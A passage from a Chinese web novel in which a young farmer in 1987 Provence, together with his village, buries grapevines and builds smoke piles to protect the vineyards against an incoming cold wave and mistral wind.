在巴黎一家人吃早饭时,他替罗南出去遛了两只狗,回来之后帮助罗南一起收拾待会儿摆摊所需的东西,看起来比罗南还要上心。 “你最近越来越积极了。”罗南把一个个箱子堆放到家门口,等下一起搬出去。 圣诞假期结束,但维埃里依然会在放学后去餐厅帮一个多小时忙,周六也会和罗南一起去梅纳村出摊。 罗南怎么也没想到,几个月前随口的一句话维埃里能坚持到现在,而且干的像模像样的。 维埃里抱着一口大锅,跃跃欲试的说: “我今天又想到一个新的宣传策略和一套新的宣传语,等下试试。” 罗南看过去: “又和伊莎贝尔打赌了?” 维埃里摇头,愤愤不平的说: “伊莎贝尔好几次都没有履行诺言,我才不和她打赌了.她一点契约精神都没有!” 罗南憋着笑说: “但她说要请你吃饭的诺言履行了啊,我听你姐姐说,周三你没有带午饭,是因为伊莎贝尔去找你吃饭了?” 维埃里的嘴角微微扬起: “那是她输给我的,她也不可能一个约定都不履行呀?如果是这样的话,我会劝你留意一下这个员工的品行。” 罗南把一大箱调料放下,坏笑着说: “那现在呢,你觉得我这个员工品行怎么样?” 维埃里想了几秒,侧了一下脑袋: “挺聪明的,应该可以帮助到你。” “没其他的了?”罗南追问。 维埃里把门打开,利索的搬东西出去,语气平静的说: “我和她不熟,看不出其他的,如果你想了解更多,下次再和她吃饭时我留意一下。” 罗南笑着摇了摇头。 你还和她不熟? 人家都去学校找你吃饭了. 我和你姐姐就是靠一顿一顿饭吃熟的! 吃吧吃吧,继续吃吧!! 罗南搬着东西出门,一阵寒风吹来,冻得他一哆嗦,随即吐出一团白气: “今天这么冷?” 维埃里小跑着去停车的地方: “今天夜里降温了,咱们两家的暖气太热,没感受出来。” 燃油暖气是这个年代除了天然气暖气外最好的保暖设备,罗南回家穿着单衣就可以,而且外面并没有刮风,所以他没有发现一夜之间气温低下去了这么多。 身为一个农夫,他对天气的敏感度会比其他人高很多。 罗南马上开始回忆‘卡朋克气象站’印刷的私人天气预报中关于这周的天气记录,似乎并没有表明周末会降温。 不过他曾听皮埃尔说过,虽然这家私人气象站相对靠谱,但也仅仅在‘风雨云雪’这些天气现象上,对气温的监控精准度实效仅仅为48小时,超过这个时限准确度就会大幅度降低。 罗南看了看天上的云,又感受了一下风向,最后用力吸了一下鼻子。 大量寒冷的空气顺着鼻腔进入胸腔,‘呛’的他咳嗽了两声。 并没有下雪的迹象罗南在心里咕哝了一句。 不过这并不代表可以掉以轻心。 好在周一送报的日子就要到来,那天早上一定要关注一下接下来一周的天气。 冬季吕贝隆地区的气温比普罗旺斯其他低海拔或沿海区域更低。 这一次突如其来的降温,把吕贝隆白天的气温直接拉到了3度左右,这是平时2月份才能达到的水平。 本就在客流量低谷期的梅纳村集市几乎什么人逛了,零星的游客改计划去了室内活动,附近居民也不想在寒冷的天气下出来采买东西。 摊主们也没有那么积极,有一部分人今天压根就没来,比如罗南对面的乌尔班娜夫妻,只剩下少数勇敢的摊主还在坚守着。 即使有人来逛集市也来去匆匆,直奔想要去的摊位,买了东西就跑,没了平时的气定神闲,一个游手好闲的人都见不到。 罗南已经算是集市上的‘热闹’摊位了,但今天的生意跟往日比依然可以用‘惨淡’来形容,他在11点就早早收了摊,带着员工和维埃里返回卢尔马兰。 “这么早就回来了?”冯珍见罗南等几个人推门进来,意外的问。 罗南搓了两下发僵的手: “太冷了,集市上没什么人。” 冯珍看了一眼餐厅里面: “餐厅的客流量倒是没受什么影响。” 罗南也回头看过去,意外的‘咦’了一声。 现在马上十二点,但餐厅里几乎坐满了人,似乎比平时还多一点。 “人更多了.” 冯珍小声和儿子讨论: “可能因为这里暖和吧,不是每家都装了暖气。” 在餐厅里一点都感觉不到寒冷,西蒙先生的暖气还是很‘给力’的。 罗南笑着补充: “也有可能是因为大家的钱包富裕了,天气不好就不想做饭直接出来吃。” 如果真是这样,不枉罗南忙碌了这么多个月啊! 在收回视线前,罗南在农夫聚集的区域看到了一个意外的身影,他马上走过去打招呼。 “布鲁诺,你又回卢尔马兰了?” 结束小吕贝隆区域的矮树丛清理工作后,布鲁诺去到了鲁西永附近森林进行下一阶段工作,宿舍也被安排到了那里,罗南快半个月没见他了。 布鲁诺马上起身,热情的的抱住罗南: “你终于回来了,我是来看你们的。” 农夫们让了个座位出来,罗南坐下,笑着问他: “怎么样,那边的工作还顺利吗?” 布鲁诺摸着光秃秃的脑袋说: “总体来说还行,但肯定没有你给我找的这些人靠谱,速度慢下来了许多。” 罗南用安慰的语气说: “别太着急,晚一点回去就晚一点回去,还是以工作顺利完成为首要目的。” 布鲁诺笑着说: “不着急,孩子们马上放寒假,过了圣诞节我妻子也可以请假了,月底他们会来普罗旺斯玩一周。” 罗南兴奋的拍了一下布鲁诺的胳膊: “恭喜恭喜,你们总算能团聚了。” 布鲁诺露出开心的笑容: “到时候我会带他们来卢尔马兰,给他们介绍我在普罗旺斯认识的新朋友。” 罗南发自内心的替布鲁诺开心。 把知道的全部冬季可以在普罗旺斯游玩的项目告诉这位巴黎老乡,并承诺把车借给他带着家人深度游玩。 过了一会,罗天海把罗南叫走说事情。 罗南离开前叮嘱这桌的农夫们,好好陪布鲁诺喝几杯,今天他请。 法比安笑着把罗南推走: “次次都是你请,今天谁也别和我抢,你快去快回,等你一起。” 见罗南走远,布鲁诺问法比安: “罗南一家真的搬来普罗旺斯才一年吗?” 他总觉得罗南在和他开‘普罗旺斯’式玩笑。 才来一年,能在卢尔马兰有这么深的根基? 可以‘号令’几十个比他大的农夫?? 布鲁诺一丁点都不信! 法比安咂了一下嘴,又摸着胡子想了一会,之后问身边的农夫: “我记得罗南是在去年这个时候来的?” 那农夫想了一下,不确定的说: “记不清了,只记得是冬天,他第一次开拖拉机时咱们都过去看了,不过印象里那天没有今天那么冷,要是今天这个气温,我可不会出去看热闹。” 法比安又问了几个人,之后回过头来看布鲁诺: “具体日子不好说,但确实才来一年左右,你知道的我们这种小地方突然来了一个巴黎人,大家都会知道消息。” 布鲁诺喝酒的手一顿,嗓音提高了好几分: “罗南是从巴黎搬到这里的?” 布鲁诺从来没和罗南聊过这个话题。 他也曾怀疑过罗南的口音是不是巴黎的,不过第一次见面布鲁诺就表明了自己巴黎人的身份他猜罗南如果是巴黎人,肯定要和他‘相认’啊。 发布安笑着说: “如假包换的巴黎人,不过他不会主动提起这层身份,那小子现在都是以‘普罗旺斯’人自居。” 布鲁诺神情复杂的看向不远处和父亲说话的罗南。 他知道这几年有不少巴黎人逃离城市来到乡村,但那些都是听说。 这是他身边第一个活生生的例子。 “看来这些人到了普罗旺斯活得也不错啊”布鲁诺撇了一下嘴,继续喝酒了。 这周康奈尔都没有出现在餐厅里,去给罗南‘办事’了。 周日的晚上,罗南像冰雕一样冒着凉气回到餐厅,小胖子马上热情的迎了上去: “降温了,我以为你今天不会进山。” 罗南跺了几下脚,双手捧起罗天海放在收银台后的玻璃茶水杯暖手: “确实有点凉,我明天得多加两件衣服。” 吕贝隆本就有一定海拔,找松露还要去海拔更高的山上,这一天给罗南冻得够呛。 是那些带着松露味的纸币推着罗南咬牙坚持。 康奈尔两只胳膊撑住收银台,迫切的对罗南说: “我统计完了。” 罗南放下茶水杯,问道: “怎么样?分别有多少面积?” 康奈尔语速缓慢的说: “常用品种中,歌海娜有42公顷、希拉30公顷、慕合怀特43公顷、神索22公顷,不常用的佳丽酿有2公顷、堤布宏有3公顷,可以和红葡萄混调的白葡萄品种候尔有11公顷。” 卢尔马兰附近一共有3100多亩葡萄园,换算成公顷是212。 不算候尔的那11公顷,以上可以酿制成粉红酒的葡萄种类占总面积的67%左右。 “我记得粉红酒最常见的搭配是歌海娜加神索?”罗南询问康奈尔。 康奈尔点头: “在普罗旺斯这种搭配比较多。” 罗南摸着下巴,陷入了沉思之中。 杰罗姆曾在聚会上说过,普罗旺斯的那些大酒庄,每年的酒产量都是上百万瓶以上。 这样算下来,卢尔马兰附近可以直接使用的葡萄并不算很多啊。 第二是周一。 前一天晚上,罗南就开始惦记着明天早上起来一定要去看看天气预报。 但周一早上他还在睡梦中,就被冯珍的敲门声吵醒了。 罗南迷迷糊糊的看了一眼时间,才4点多。 “怎么了?”他艰难的抬起脑袋问。 冯珍的眼睛也没睁开,撂下一句话就离开了: “皮埃尔给你打电活了,听着挺着急的,你快去接一下。” 罗南‘噌’的一下坐起,睡意全无。 不会是他最担心的情况发生了吧? 第291章 手巧在种地的时候也有用? 罗南一边快速下楼,一边回忆皮埃尔几个月前说过的事情。 9月份收获季的那场大雨给皮埃尔敲了一次警钟,他说必须要重视起对灾害天气的预警。 那之后他托了好几道关系,认识了‘卡朋克气象站’里的工作人员。 对方保证,如果有什么灾害天气,会在第一时间通知到他。 今天是‘卡朋克气象站’发刊的日子,皮埃尔不会是提前拿到什么消息了吧? 罗南拿起电话,低沉的问: “出什么事了?” 皮埃尔的话非常简洁,就短短几个单词: “下周可能会有寒潮,快把葡萄藤‘埋’了。” 他还要通知其他农夫,不等罗南回复就挂了电话。 虽然皮埃尔说的是‘可能’,但罗南一秒钟都没耽误,马上跑上楼开始穿衣服。 普罗旺斯是地中海气候,沿海那些城市冬季最低气温也会在零度以上。 不过吕贝隆是山区,会比地势低的地方气温低一些,但通常也不会低过零下8度。 一般情况下,冬季气温达到零下15度以下的葡萄产区才会在入冬前做‘防寒’措施,而吕贝隆并不满足这个条件,所以农夫们入冬后剪枝锁水即可。 但寒潮来袭就不一样了。 寒潮通常会伴随着剧烈的降温、大风和雨雪天气。 卢尔马兰附近地形开阔,没有建筑遮掩,寒风吹来很容易产生下沉气流,即使葡萄藤不被冻死也有可能会被吹死。 普罗旺斯只在1956年和1976年经历过两次大规模的寒潮,且1956年寒潮过后又经历了一场百年来最大的‘霜冻’。 这已经不是8亩葡萄园的简单问题了,葡萄园没了,罗南这所房子的价值也会跟着下跌。 这可是十几万甚至是几十万法郎的大事! “上帝,我才第一年种地,一定要给我这么多磨难吗?”罗南慌乱的把一件件衣服套到头上。 1987年,普罗旺斯的农业水平还没有那么发达,很多防冻设备都没有普及。 农夫们会采取比较传统的物理抗寒手法对抗即将到来的大风降温,而皮埃尔口中的‘埋葡萄藤’指的是‘埋土法’,这也是罗南在目前条件下能想到的最实际的保温措施。 但这种抗寒方法需要一个开槽机。 罗南没有开槽机,不过皮埃尔既然打电话来让他‘埋’,就一定会考虑这件事.所以罗南出去后先把葡萄藤一个个顺好,同时焦急的等待着开槽机的到来。 而且这次罗南吸取了教训,上一次遇到麻烦,他只知道闷头苦干,差点把自己活活累死、晒死、急死。 今天天一亮,他就给所有有可能来帮忙的人打了电话,不限于路易、弗雷迪和阿兰这几个老朋友,还有托马斯和巴蒂这些新朋友,甚至连马里尼他都通知到了。 大家的态度比罗南想的更为积极,纷纷表示把手头的事情忙完马上来他的地里集合。 “皮埃尔说寒潮有可能在下周到来,这么多人来帮忙,时间肯定来的及。”罗南一边干活,一边如是安慰自己。 因为5点多就到了室外,邮差特雷西到访时罗南直接碰到了他。 特雷西郑重的说: “你已经知道了?我还想着,如果你在家要通知你一下呢。” 罗南把手上的土抖了几下,走过去接报纸和天气预报: “‘卡朋克气象站’的天气预报上写什么了?” 特雷西摇头,面色凝重: “天气预报上看不出什么,我是从农夫那里听到消息的,这一路上葡萄园、橄榄园、草莓园、橙子园很多地里都出现了人和机器。” 罗南气急败坏的骂了一句: “科技还没有人可靠,普罗旺斯的农业部真该好好反思一下了,该死的!” 虽然自然灾害的到来不是人为可以避免的,但是普罗旺斯缺少对应的智能监控系统。 有那么多钱搞旅游,没钱把天气预报的准确度做一下升级? 那叫天气预报吗? 这太不靠谱了! 罗南决定,下次见‘好姐姐’朱莉特,必须要表达一下作为公民的不满情绪了。 他气呼呼的打开天气预报,看到上面标注未来一周的天气全部为晴朗和多云,这和罗南自己观测到的情况一致,未来一段时间不会有雨雪到访普罗旺斯,这已经是不幸之中的万幸了。 但在气温一览,从周二开始最低气温就来到了零下8度,之后的周三是零下9度,再之后的准确度就没有那么高了,不过依然保持在零下8度左右。 罗南沉重的叹气。 即使皮埃尔不提前打来那个电话,仅仅通过这份天气预报,罗南同样会担心未来会有寒潮到来的风险,所以这次埋藤势在必行。 上午7点一过,皮埃尔开着一台拖拉机来到罗南家,后面拖着一个开槽机。 他没有任何寒暄,直接把拖拉机开到了地里,同时对罗南大声喊: “我给你演示两列,后面的你要自己开了,我还有别的事!” ‘埋土法’的第一步是在每一列葡萄藤旁边挖出一个30-40厘米的深槽,稍后要把葡萄藤放进这个槽里。 罗南在巨大的拖拉机轰鸣噪音中问他: “人都通知到了?” 皮埃尔的表情比几个月前打‘时间战役’时还要凝重: “大伙都动起来了,你人手够吗?” 罗南大声喊道: “足够,你判断有多少概率会有寒潮?” 由于缺乏更为精准的预测,现在只是凭经验判断有可能会有寒潮的风险。 皮埃尔摇头: “很难讲,1956年的寒潮我没有什么印象,但1976年寒潮发生之前也伴随了许多极端天气,例如洪涝灾害等等,和今年有点像.今年真的是太不太平了。” 雨季拉长、降水多、连续刮了一个月的西北风难道这一切都是大自然的警示? 罗南用‘自欺欺人’的语气说: “时间来得及,我们有足够的应对时间。” 事实上,即使把葡萄藤埋入土里保温,也不能保证它们能顺利的度过这个冬季,一切的结果要等春天把它们再次挖出来之后才能得知。 所以未来两个月,卢尔马兰的农夫注定没有一个人能睡上一个安稳觉了。 不过最重要的是——希望一切只是误会,寒潮千万不要来。 开完两列凹槽后,皮埃尔跳下拖拉机,给罗南演示埋藤的方法: “在藤下再挖一个槽,和这个深槽平行,之后把葡萄藤摘下来,下面的步骤有一定的技术含量了,需要把藤扭转到‘顺位’,这样弯下去更容易。” 在卢尔马兰,给葡萄藤做抗寒的机会实在是太少了。 很多年轻的农夫都不知道‘埋土法’要怎么做。 所以皮埃尔给罗南讲的非常详细。 不过他还在扭藤的时候,余光看到罗南突然把身子低了下去。 皮埃尔侧头看过去,虽然现在已经‘火烧眉毛’了,他还是没忍住,发出一声惊呼: “手巧在种地的时候也那么有用?” 上帝,罗南已经让那根蜿蜒的主藤像是乖宝宝一样躺进凹槽里了。 罗南一边顺藤,一边严肃的说: “我这里你一切放心,快去其他人那里吧。” 这一周有的皮埃尔忙了。 接下来皮埃尔叮嘱了一遍罗南之后的步骤,把所有的藤弯下去、用土埋好后,给他打电话,皮埃尔会给罗南送来一台‘埋藤机’,把地再扬一遍,之后罗南要做的就是把那些裸露在外面的根部用土或者保暖材料做一次加固。 反复确认罗南已经知道后续的所有步骤,并人手充足后,尽职尽责的皮埃尔才放心的离开。 “几个月前,你是让我最担心的那个,现在你让我感觉无比的踏实。”皮埃尔拍了一下罗南的肩膀,开着拖拉机离开了这片葡萄园,“我去别人家看看,开槽机不用着急还,我家还有。” 其实皮埃尔的目的地不是特奥家,因为他知道特奥的人手足够。 而且他家里要拖拉机有拖拉机,要开槽机有开槽机,什么都有,完全无需担心。 不过皮埃尔离开罗南家,路过特奥的葡萄园时,发现里面空空如也。 他的火气马上就上来了。 这才勤奋几天啊,又懒了? 他几个小时前就通知特奥了。 皮埃尔用力砸了几下门,恨不得现在破门而入痛骂他: 现在不是偷懒的时候了,快点醒一醒啊! 丽贝卡给皮埃尔开的门,皮埃尔刚一踏入屋内就听到了特奥焦急的声音,似乎在打电话: “罗伯托也不能来卢尔马兰吗?该死的,布朗和格隆丁也有事.但我一个人埋不完所有的地,下周寒潮可能就要来了。” 皮埃尔马上用探寻的眼光看向丽贝卡。 丽贝卡揪着衣服,小声说: “事情有点突然,往年帮特奥收葡萄的那几个表哥和表弟都有事.特奥正在找人。” 皮埃尔立马掉头就走: “告诉特奥别着急,我去给他找找人。” 农夫们都在忙,皮埃尔的目标是村里不种地、干别的营生的男人。 这些人大多以开车送货为生,偶尔会在村门口等一等要搭车出去的人。 可能是天气的原因,皮埃尔在村口只看到了两辆卡车。 他过去问那两个司机: “有时间吗?去特奥的地里帮帮忙,下周有可能要降温。” 司机的语气有些纠结,他们也有事情要干: “能不能等下,我下午过去?” 皮埃尔又看另一个人: “你呢,能现在过去吗?特奥那里什么机器都有。” 另一个人的语气也是犹犹豫豫的: “你再问问其他人吧,如果等不到搭车的人我就过去,我发誓。” 皮埃尔叹气,但是也没办法。 他只是农夫头子,号召不起其他村民。 皮埃尔想去其他地方问问,但一扭头,看到了一辆老越缓缓停了下来。 卢卡斯摇下车窗,用调侃的语气说: “多大的人了,还风风火火的,跑什么?” 皮埃尔着急的说: “当然要着急了,我在给特奥找人。” 卢卡斯脸上的笑容瞬间消失: “特奥怎么了?” 皮埃尔简短几句话给卢卡斯讲了一下现在的局面,用安慰的语气说: “你不用担心,我一定能找到人,你快去采松露吧。” 他看到玛格丽特在车子后座趴着,知道卢卡斯这是要出村去赚钱。 “呲啦——” 急促的轮胎摩擦声中,卢卡斯调转了车头,看方向是要回村里: “我去给他找几个干活麻利的农夫。” 皮埃尔对卢卡斯说: “你去村里没用,现在全部卢尔马兰的农夫,不,应该说全吕贝隆的农夫们都在忙着抗寒。” 卢卡斯一脚油门踩下去,皮埃尔只能看到一个车尾: “你不用管特奥了,吕贝隆的农夫都在忙,我就去吕贝隆以外的地方给他找农夫。” 皮埃尔露出了惊恐的表情。 去其他村子找人帮忙? 还是吕贝隆以外的地方这话也只能从卢卡斯嘴里说出来了。 但皮埃尔相信卢卡斯有这个实力。 那两个司机用酸溜溜的语气念叨。 “真羡慕特奥啊,有个这么厉害的哥哥,真是满满的安全感。” “那当然了,那可是卢卡斯!” 第292章 希望的种子已悄悄发芽 把葡萄藤埋起来是一件有技术含量的活儿。 同时对体力的要求也比较高。 尤其是在寒冷的冬天进行,更加艰难了。 罗南叫来的朋友们只有一小部分能真的帮上忙,例如路易、弗雷迪和阿兰。 ‘大少爷’托马斯刚来一个小时就在地里摔了两次跟头,眼镜险些碎掉。 巴蒂的身材比葡萄藤还要‘单薄’,葡萄藤把他‘甩’的四处乱晃,像是被魔鬼占据了身体一样,远远的看过去颇有一些行为艺术的味道。 雕塑家马里尼体力不行,能力也跟不上,即使没喝酒也急的跟葡萄藤开始对话了。 “你能不能稍微配合下?我们在帮你活下去啊。” 不到一个上午,罗南又陆续把这些人劝了回去。 他们在地里,罗南都不知道要救葡萄藤还是救他们了。 这些人知道留下只能给罗南添乱,但又跟着罗南着急,有的回去准备食物,有的留在现场喊加油,马里尼直接搬来了一块木头,说要现场‘创作’。 “人虽然离开了,但精神没有离开,我们将陪伴你一起度过这场自然灾害!”巴蒂挥舞着葡萄藤喊。 罗南敢把人劝走,还有一个原因是后院那些建工作室的大块头们过来帮忙了。 葡萄藤握在他们手里像麻绳一样,虽然技术不熟练,但好在体力够强。 下午卡福也出现在罗南的葡萄园里。 “你怎么也来了?”罗南指着他的几个伙计问,“他们把你喊来的?” 卡福没有下车,只是把头探出来: “不是,是卢卡斯把我喊来的。” 卡福是卢卡斯介绍给罗南认识的工匠,所以他们私下有联系不稀奇。 稀奇的是卢卡斯把卡福叫来干什么? 他现在应该没有装修或者建房子的需求啊。 “卢卡斯喊你来干什么?”罗南站直了身体。 卡福指着特奥家的方向说: “卢卡斯给我打电话讲了天气的事,说他弟弟的地需要人帮忙,他叫来了一些农夫,但怕人手还是不够,让我再带些兄弟过来,我担心你这里的情况,过来看看。” 罗南了然的点了下头,心想卢卡斯还是疼特奥这个弟弟啊,电话都打到阿普特了。 他感激的对卡福说: “我这里不用担心,你的伙计们很能干。” 卡福抬了下下巴,给车掉了个头: “那就好,我回卢卡斯那里了。” 罗南问卡福: “卢卡斯在特奥那里?” 卡福点头: “我带人去的时候,地里只有他们兄弟俩,卢卡斯说他这几天也会留在地里帮忙,直至做完所有防寒工作。” 罗南和卡福挥手告别: “替我向卢卡斯问好。” 之后的三四天,卢尔马兰进入了一种奇怪的氛围中。 白天男人们冒着严寒在地里辛勤的劳动,一到晚上大家似乎就会忘记白天的烦恼,聚到一起乐天派的玩起‘找线索’的游戏。 例如根据今天云的形状,判断明天一早气温一定会升上去。 或者通过早上出门吐出第一口雾气的状态,分析今天温度比昨天高了。 还有人会用不知道从哪里打听到的消息,安慰周围人,今年绝对没有寒潮,说不定还是个暖冬呢。 “不要担心约瑟芬,我们的日子才刚刚好起来,上帝不会和我们开这个玩笑的。”亨利披上厚外套,带上皮帽子,“你和丽莎先睡,我再去检查一遍。” “特奥,都几点了,你还不睡吗?”丽贝卡把安娜哄睡,一出来发现特奥居然在厨房里宰兔子。 特奥熟练的把兔子皮扒下来: “卢卡斯这几天辛苦了,明天晚上我打算把他留下来喝点酒,兔子提前一天腌上烤起来才入味。” 丽贝卡靠在厨房门口问: “你们快干完了吗?” 特奥对妻子露出一个‘不用担心’的笑容: “寒潮一定不会到来,下周我还要和卢卡斯、罗南进山打猎呢。” “明天下午我们就能干完了。”多日的低温户外劳作,让罗南的脸有一点冻伤。 一进入温暖的室内马上就会脸颊通红。 佐伊把各种瓶瓶罐罐往他的脸上‘招呼’,并严厉的说: “明天一定要戴面罩出去,听到没有?” 罗南反驳: “那太奇怪了,大家会以为我是去打劫的。” 佐伊长长的叹出一口气,随后又露出了微笑: “看到你这个状态我就放心了,我还担心你愁的睡不着觉呢。” 罗南也叹了一口气,不过更多的是释然,这几天他想明白了许多: “我们不能一味索求大自然给我们的全部是‘好的’礼物。” 佐伊摊开一张挂满粘液的白色面膜,举到罗南的面前: “过来。” 罗南抗拒的把脖子移开: “不不不,我不敷那种东西,我宁愿脸红得像英国佬一样!” 同一时间,卢尔马兰某一处老宅内。 布兰科穿着厚厚的睡衣,低头在台灯下写着什么。 他的妻子蹑手蹑脚的在他手边放下一杯热牛奶。 “谢谢。”布兰科微笑着抬起头。 他妻子有些心疼的问: “又想到了什么可以加到计划书里的材料吗?” 这几个月布兰科的状态非常紧绷,吃着吃着饭突然想到了什么,也会马上放下刀叉往材料里面去做补充。 回到家的状态跟在政府大楼里上班时没有任何区别。 布兰科摇头: “不是,在做‘灾害补助’计划。” 布兰科的妻子也听说了近期的天气大事件,担忧的说: “如果灾害真的发生,那恐怕不是政府给予补偿就能挽回的事情,你知道的,土地是农夫们的全部.而且现在卢尔马兰政府没有钱。” 布兰科盖上吸水钢笔,语气平静的说: “现在没有钱不代表几个月后也没有,就算几个月后也没有同样要做要让村民们看到‘希望’的存在,并坚信‘希望’的存在。” 他看向窗外零星的卢尔马兰灯火,语气坚定的说: “希望的种子已经在卢尔马兰人民心中悄悄发芽,就算最差的情况发生,只要希望还在.如今的他们没有那么容易被击垮了。” 罗南的葡萄园面积不大,十几个人四五天就可以做完全部防寒工作。 每一天他都会不止一次的祈祷,希望温度不要再低下去,更不要出现那个大家都不想见到的情况发生。 但周五一早,从各家各户烟囱里升起的白烟,只是刚一露头就消失的无影无踪。 “起风了。” 罗南闭起眼睛感受了一下风向,虽然很微弱但面色瞬间凝重: “米斯特拉尔风。” 米斯特拉尔风普罗旺斯最‘臭名昭著’的风。 皮埃尔和法比安给罗南科普完普罗旺斯的三十几种风后,罗南又专门去详细的了解一次这个寒冷、干燥的强北风形成缘由。 来自西北欧或北极的冷空气,经中央高原与阿尔卑斯山之间的隆河走廊(罗纳河谷)南下,地形狭窄导致气流加速。 北部高气压系统与阿尔卑斯山低压区形成气压梯度,驱动冷空气持续向地中海推进,最终形成米斯特拉尔风。 这种风的风速平均可达50-90 km/h,极端情况下可以达到130 km/h。 米斯特拉尔风的到来,预示着吕贝隆腹地未来2天的气温有可能骤降5-10度,湿度降至30%以下。 罗南的第一反应不是‘自怨自艾’,而是马上去给皮埃尔打电话。 但在他跑进屋子的同时电话也响起了,接起来果然是皮埃尔。 皮埃尔这周像是获得了‘分身术’的异能,卢尔马兰各片农田里全部能看到他的身影,虽然没有来罗南这里,但他每天早上都会给罗南打一个电话问情况。 但皮埃尔还有自己的地要忙 罗南甚至怀疑这几天他有没有睡觉! “你也发现了?”罗南低沉的问。 “刮风了。”虽然隔着电话线,但这不影响罗南听到皮埃尔语气里的凝重。 皮埃尔用镇定无比的声音说道: “记住我接下说的话,你现在马上去找湿稻草、秸秆、木屑和锯末,按照你的葡萄园面积计算至少需要500公斤以上,把这些东西分散成50-60个烟堆平均安放到葡萄园里,保证所有葡萄藤都覆盖到它们点燃之后的烟雾中。” “在明天日落之后的1-2个小时内点火,记住夜里千万不能让烟堆熄灭,日出之后的2个小时再把火灭了,如果后天米斯特拉尔风依然没有停,就继续上面的步骤.听懂了吗?” 皮埃尔给罗南讲的是一种在自然灾害发生过程中的紧急应对方法——熏烟法。 通过燃烧特定材料释放烟雾和热量,减缓地表温度下降,保护葡萄藤免受低温伤害。 虽然罗南早在几天前就开始复习‘熏烟法’的使用方法,还是耐心听完,并认真的回复: “记住了。” 皮埃尔的语气突然低落了下来: “罗南,请不要恨大自然好吗?他只是和我一样爱开玩笑。” 罗南第一年种地,却遇到了十几年一见的极端天气。 皮埃尔真的很怕这会给罗南带来不好的体验,并后悔做农夫的决定。 罗南语气平缓但真诚的说: “当然不会,大自然已经给予我们很多了。” 皮埃尔欣慰的笑了一声,不过语气很快严肃下来: “我去通知其他人。” 他打算马上挂断电话,但罗南先一步叫住了他,担忧的说: “皮埃尔,不要给自己太大压力。” 皮埃尔是一个非常负责的人。 罗南真的很怕米斯特拉尔风没把农夫们压垮,皮埃尔自己把自己压垮了。 皮埃尔轻轻‘嗯’了一声,继而用操心的语气说: “快去准备东西吧,记住是湿稻草、秸秆、木屑和锯末,而且夜里千万不要让烟灭了。” 第293章 黑色的斗篷 从着手做‘埋土法’那天开始,罗南就同时做起了‘熏烟法’的准备工作。 皮埃尔让罗南准备500公斤以上的燃烧物,但罗南家后院现在堆积的湿稻草、秸秆、木屑和锯末应该够2公顷的葡萄园熏3-4天。 卢尔马兰村里类似罗南这样‘未雨绸缪’的农夫还有许多许多,罗南出去找湿稻草时,碰到了十几个人。 这些经验丰富的老农夫们虽然外表看起来乐观,但同样早早的做好了抗击极端天气的全部准备。 在皮埃尔打电话前,罗南院子里的葡萄藤全部埋入了土里,罗南还在上面又覆了一层保温物和厚厚的土。 接下来要做的,就是在明天太阳下山之前把‘熏烟法’的前置所有准备工作做好。 吕贝隆白天的气温不足以伤害到植物根系,夜晚是抗寒的主战场。 只要能熬过巨幅降温的那几夜,情况也许不会太糟糕。 燃烧物可以直接释放热量,使周围空气温度短暂升高 1-3℃;烟雾颗粒作为凝结核,可以促进空气中水汽凝结释放潜热,这些是人类使用了几百年的土方法。 路易和罗南每人带了五六个伙计投入了新的工作中。 就这样,葡萄园抗寒战役进入了最为关键的阶段。 烟堆的安放没有皮埃尔说的那么简单,需要一定技巧。 它们应当沿葡萄行间或园区外围呈棋盘状分布,而且根据风向的不同,间距也要做相应的调整。 上风向间距8-10米,下风向间距5-6米。 确定好了下堆点,下一步就是搭堆了。 底宽1米左右,高0.5-0.8米,内部中空留通风道,这样燃烧物才能顺利的燃烧,并在稍后‘闷’出更多的保护烟雾,在这个土方法中,最关键的东西是烟,而不是火。 即使已做好收集燃烧物的准备,实际搭完50多个堆点也用了一天多的时间,全部工作在周六的中午才完成。 这其中最大的困难点是——米斯特拉尔风已悄然的正式抵达普罗旺斯了。 在他们搭堆的过程中,要时刻和严寒和北风做对抗。 若不是路易是个经验丰富的农夫、罗南的脑袋里拥有大量知识储备,烟堆可能刚搭起来就倒了。 除了农业知识和植物知识,在搭堆的过程中,罗南还巧妙的利用上了【建造】带来的部分能力。 随着技能升高,罗南发现系统给予的各种能力已经不仅仅可以应用到原本的那一条用途之中。 甜品制作除了离不开【烹饪】技能带来的刀工能力外,【编织】附带的巧手也提供了极大的帮助。 【打猎】给予的观测动物情绪能力,可以与【采集】给的能力结合,应用到未来训练松露犬中。 【编织】能力同时可以应用到种地的部分环节中,例如前几天的‘埋土法’。 而此刻,【建造】也成了帮助葡萄藤抵抗严寒的巧妙帮手。 未来遇到麻烦,应该把思维更‘广阔’的发散出去,说不定解法在其他意想不到的地方。 搭完所有的烟堆,罗南不敢离开葡萄园,依然在室外密切注视着烟堆的情况,生怕一个不留神就倒了几个。 “你们快进屋休息吧,夜里大家要轮流出来看着。”罗南把路易等几个人劝进屋。 皮埃尔说了,夜里烟堆绝对不能灭,这一夜他们几个要轮流出来测温和加燃料。 路易知道事到如今,罗南的身体和心理都做不到完全的放松,劝了两句无果,便带着弗雷迪和阿兰几个人进屋,他们已经连续在户外工作快一周了。 罗南在葡萄园里转了一圈,确保烟堆都没有问题后,在某个烟堆前席地而坐。 观测到起风后,他马上投入到了高强度的准备工作中,没有片刻喘息机会。 直至这一刻,他的‘脑袋’和‘身体’才又一次结合到了一起。 他抬头看向晴朗的天空,似梦似幻的说: “寒潮居然真的来了。” 这一周过的像是做梦一样。 只是不知道梦醒之时,结果是好还是坏呢? 与寒潮对抗前的最后一个下午异常繁忙。 冯珍回家给路易和弗雷迪等几个来帮忙的客人收拾出了临时休息的居所,他们可能要在这里住上几天。 托马斯和歌迪亚知道罗南他们夜里要出去巡察,送来了大量御寒物品,说是特意去早上的集市买的。 “伙计,别的我帮不上什么,希望这些东西可以帮助到你们。”托马斯在胸前画了一个十字,“主一定会保佑你们度过难关的。” 又过了一会,巴蒂带着几个妇女来罗南家送食物,面包、香肠和奶酪等等,全是可以快速充饥的。 “你好好照顾葡萄园,其他的交给我和姐妹们,我们一定给你做好后勤保障工作。”巴蒂认真无比的说。 ‘妇女之友’罗南要抗灾,他和卢尔马兰的妇女们怎么能置之不理呢? 体力不行,但他们有勤劳的双手啊! 稍晚一些,马里尼也来了一次罗南家: “有一些艺术家要来你家帮忙,我帮你拦下了,我知道我们只会成为你的负担,但是兄弟,我是带着全部卢尔马兰艺术家的美好祝福来的‘巨浪撕咬着船舷,舵手紧握着罗盘,风暴的獠牙下,他的眼睛比灯塔更亮’,在与自然的博弈中,人类的尊严在于永不屈服的抗争,我知道你的眼睛会比灯塔更亮!” 